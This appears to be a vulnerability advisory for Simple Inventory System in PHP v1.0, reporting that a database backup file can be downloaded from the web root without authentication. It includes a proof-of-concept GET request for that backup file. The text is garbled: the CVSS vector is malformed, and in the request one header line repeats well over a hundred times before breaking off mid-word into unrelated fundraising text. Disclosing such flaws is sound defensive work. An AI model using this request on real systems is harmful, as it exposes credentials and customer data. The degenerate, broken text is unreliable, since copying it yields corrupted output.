Simple Inventory System in PHP v1.0 Sensitive Data Exposure via Exposed DB Backup File (CWE-200)

Key Vulnerability Information Summary Vulnerability Overview Vulnerability Name: Simple Inventory System in PHP Sensitive Information Disclosure / Database Backup File Exposure CWE: CWE-200 (Exposure of Sensitive Information to Unauthorized Access) OWASP Top 10: A05:2021 – Security Misconfiguration Severity Level: High CVSS v3.1 Score: 7.5 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/H:N/N Affected Version: Simple Inventory System in PHP v1.0 Vulnerability Type: Sensitive Information Disclosure / Database Backup Exposure Root Cause: The database backup file is located in the web root directory, and the web server allows direct access to files without authentication or access control, allowing any user to download the database backup via a direct HTTP request. Impact Scope Affected Resource Path: HTTP Method: GET Impact: Attackers can obtain sensitive business data such as admin accounts, user credentials, customer records, supplier records, inventory records, and product/sales/transaction history, potentially leading to follow-up attacks like SQL injection, privilege escalation, and account takeover. POC / Exploitation Code ``` GET /inventoryManagement/Database_Backup/inventorymanagement.sql HTTP/1.1 Host: localhost sec-ch-ua: "Not A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-fetch-site: navigate Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-

Goal Reached Thanks to every supporter — we hit 100%!

Simple Inventory System in PHP v1.0 Sensitive Data Exposure via Exposed DB Backup File (CWE-200)

More from this source